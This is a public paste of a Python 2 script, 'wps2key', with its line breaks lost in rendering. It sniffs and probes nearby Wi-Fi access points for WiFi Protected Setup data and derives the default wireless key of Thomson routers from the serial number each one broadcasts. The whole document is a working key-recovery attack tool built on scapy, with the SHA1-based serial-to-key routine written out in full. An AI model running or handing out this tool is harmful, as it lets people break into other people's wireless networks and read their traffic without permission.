All pastes #2110985 Raw Edit

wps2key

public python v1 · immutable
#2110985 ·published 2012-02-08 00:52 UTC
rendered paste body
#!/usr/bin/env pythonfrom sys import argv, stderr, exitfrom getopt import GetoptError, getopt as GetOptimport hashlibtry:	from scapy.all import *except Exception, e:	print 'Failed to import scapy:',e	exit(1)def ascii2hex(char):       	return hex(ord(char))[2:]def serial2key(serial):	#print 'Key for Serial Number: CP%s' % serial	sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))	hash = hashlib.sha1(sn.upper()).hexdigest()	return hash[0:10].upper()class WPSQuery:	bssid = None	essid = None	pfile = None	rprobe = False	verbose = False	probedNets = {}	WPS_ID = "\x00\x50\xF2\x04"	wps_attributes = {			0x104A : {'name' : 'Version                          ', 'type' : 'hex'},			0x1044 : {'name' : 'WPS State                        ', 'type' : 'hex'},			0x1057 : {'name' : 'AP Setup Locked                  ', 'type' : 'hex'},			0x1041 : {'name' : 'Selected Registrar               ', 'type' : 'hex'},			0x1012 : {'name' : 'Device Password ID               ', 'type' : 'hex'},			0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},			0x103B : {'name' : 'Response Type                    ', 'type' : 'hex'},			0x1047 : {'name' : 'UUID-E                           ', 'type' : 'hex'},			0x1021 : {'name' : 'Manufacturer                     ', 'type' : 'str'},			0x1023 : {'name' : 'Model Name                       ', 'type' : 'str'},			0x1024 : {'name' : 'Model Number                     ', 'type' : 'str'},			0x1042 : {'name' : 'Serial Number                    ', 'type' : 'str'},			0x1054 : {'name' : 'Primary Device Type              ', 'type' : 'hex'},			0x1011 : {'name' : 'Device Name                      ', 'type' : 'str'},			0x1008 : {'name' : 'Config Methods                   ', 'type' : 'hex'},			0x103C : {'name' : 'RF Bands                         ', 'type' : 'hex'},			0x1045 : {'name' : 'SSID                             ', 'type' : 'str'},			0x102D : {'name' : 'OS Version                       ', 'type' : 'str'}	}	def __init__(self,iface,pfile):		if iface:			conf.iface = iface		if pfile:			self.pfile = pfile	def run(self):		if self.verbose:			if self.pfile:				stderr.write("Reading packets from %s\n\n" % self.pfile)			else:				stderr.write("Listening on interface %s\n\n" % conf.iface)		try:			sniff(prn=self.pcap,offline=self.pfile)		except Exception, e:			print 'Caught exception while running sniff():',e	#Handles captured packets	def pcap(self,packet):		if packet.haslayer(Dot11Beacon):			self.beaconh(packet)		elif packet.haslayer(Dot11ProbeResp):			self.responseh(packet)	#Beacon packet handler	def beaconh(self,pkt):		elt = None		eltcount = 1		doprobe = False		essid = None		bssid = pkt[Dot11].addr3.upper()		#If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it		if self.bssid and self.essid:			self.probereq(self.essid,self.bssid)			return		#If we've already probed it, processing it's beacon frames won't do us any more good		if self.probedNets.has_key(bssid):			return		#Is this the BSSID we're looking for?		if self.bssid and self.bssid != bssid:			return		#Loop through all information elements			while elt != pkt.lastlayer(Dot11Elt):                	elt = pkt.getlayer(Dot11Elt, nb=eltcount)			eltcount += 1                        #Get the SSID                        if elt.ID == 0:                        	essid = elt.info                        	#Skip if this is not the SSID we're looking for                        	if self.essid and essid != self.essid:                        		return			#Check for a WPS information element			else:				doprobe = self.iswpselt(elt)				if doprobe:					if self.verbose:						stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))					break		#Should we actively probe this AP?		if doprobe == True or self.rprobe == True:			self.probereq(essid,bssid)		return	#Probe response packet handler	def responseh(self,pkt):		wpsdata = []		eltcount = 1		elt = None		bssid = None		essid = None		bssid = pkt[Dot11].addr3.upper()                #Is this the BSSID we're looking for?                if self.bssid and self.bssid != bssid:                        return                #Loop through all information elements                 while elt != pkt.lastlayer(Dot11Elt):                        elt = pkt.getlayer(Dot11Elt, nb=eltcount)			eltcount += 1                        #Get the SSID                        if elt.ID == 0:                                essid = elt.info				#Don't probe a network multiple times				if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:					return                                #Skip if this is not the SSID we're looking for                                if self.essid and essid != self.essid:                                        return				if self.verbose:					stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))			elif self.iswpselt(elt):				wpsdata = self.parsewpselt(elt)		#Display WPS information		if wpsdata:			self.printwpsinfo(wpsdata,bssid,essid)		elif self.verbose:			stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))		#Mark this BSSID as complete		self.probedNets[bssid] = essid		return			#Display collected WPS data	def printwpsinfo(self,wpsdata,bssid,essid):		textlen = 33		filler = ' '		is_valid = 0		if wpsdata:			print ''			print 'BSSID:',bssid                        print 'ESSID:',essid                        print '----------------------------------------------------------'                        for (header,data,datatype) in wpsdata:				if datatype != 'str':					tdata = data					data = '0x'					for i in tdata:						byte = str(hex(ord(i)))[2:]						if len(byte) == 1:							byte = '0' + byte						data += byte				header = header + (filler * (textlen-len(header)))                                print '%s : %s' % (header,data)				if data == 'THOMSON':					is_valid = 1				elif data == '784n':					is_valid = 0				if header == 'Serial Number                    ':				   	header = 'DEFAULT KEY                      '					if is_valid == 1:						data = serial2key(data)					else:						data = 'UNSUPPORTED'					                                	print '%s : %s' % (header,data)                        print ''		#Send a probe request to the specified AP	def probereq(self,essid,bssid):		if not essid or not bssid:			return		if self.probedNets.has_key(bssid):			return		if self.pfile:			return		if self.verbose:			stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))		try:			#Build a probe request packet with a SSID and a WPS information element                        dst = mac2str(bssid)                        src = mac2str("ff:ff:ff:ff:ff:ff")                        packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()                        packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)						#Send it!			send(packet,verbose=0)			self.probedNets[bssid] = None		except Exception, e:			print 'Failure sending probe request to',essid,':',e	#Check if an element is a WPS element	def iswpselt(self,elt):		if elt.ID == 221:                	if elt.info.startswith(self.WPS_ID):                        	return True		return False		#Parse a WPS element	def parsewpselt(self,elt):		data = []		tagname = None		tagdata = None		datatype = None		tag = 0		tlen = 0		i = len(self.WPS_ID)		try:			if self.iswpselt(elt):				while i < elt.len:					#Get tag number and length					tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))					i += 2					tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))					i += 2					#Get the tag data					tagdata = elt.info[i:i+tlen]					i += tlen								#Lookup the tag name and type					try:						tagname = self.wps_attributes[tag]['name']						datatype = self.wps_attributes[tag]['type']					except Exception, e:						tagname = 'Unknown'						datatype = 'hex'					#Append to array					data.append((tagname,tagdata,datatype))		except Exception,e:			print 'Exception processing WPS element:',e 		return datadef about():	print '''WPScan actively scans access points that support WiFi Protected Setup by sending802.11 probe requests to them. It then examines the WPS information element in theresulting 802.11 probe response and displays the information contained in that IE.This is useful for fingerprinting WPS-capable access points, as many of them willinclude their vendor, model number, and firmware versions in the WPS IE of the probe response.'''	exit(0)	def usage():	print '''Usage: %s [OPTIONS]	-i <iface>	Specify the interface to listen on	-p <file>	Specify pcap file to read from	-b <bssid>	Specify a bssid filter	-e <essid>	Specify an essid filter	-n		Probe all networks	-v		Enable verbose mode	-a		Show about information	-h		Show help''' % argv[0]	exit(1)def main():	bssid = None	essid = None	iface = None	pfile = None	probeall = False	verbose = False	try:		opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");	except GetoptError, e:		print 'Usage Error:',e		usage()	for opt,optarg in opts:		if opt == '-b':			bssid = optarg.upper()		elif opt == '-e':			essid = optarg		elif opt == '-i':			iface = optarg		elif opt == '-p':			pfile = optarg		elif opt == '-v':			verbose = True		elif opt == '-n':			probeall = True		elif opt == '-a':			about()		else:			usage()			wps = WPSQuery(iface,pfile)	wps.bssid = bssid	wps.essid = essid	wps.rprobe = probeall	wps.verbose = verbose	wps.run()if __name__ == "__main__":	main()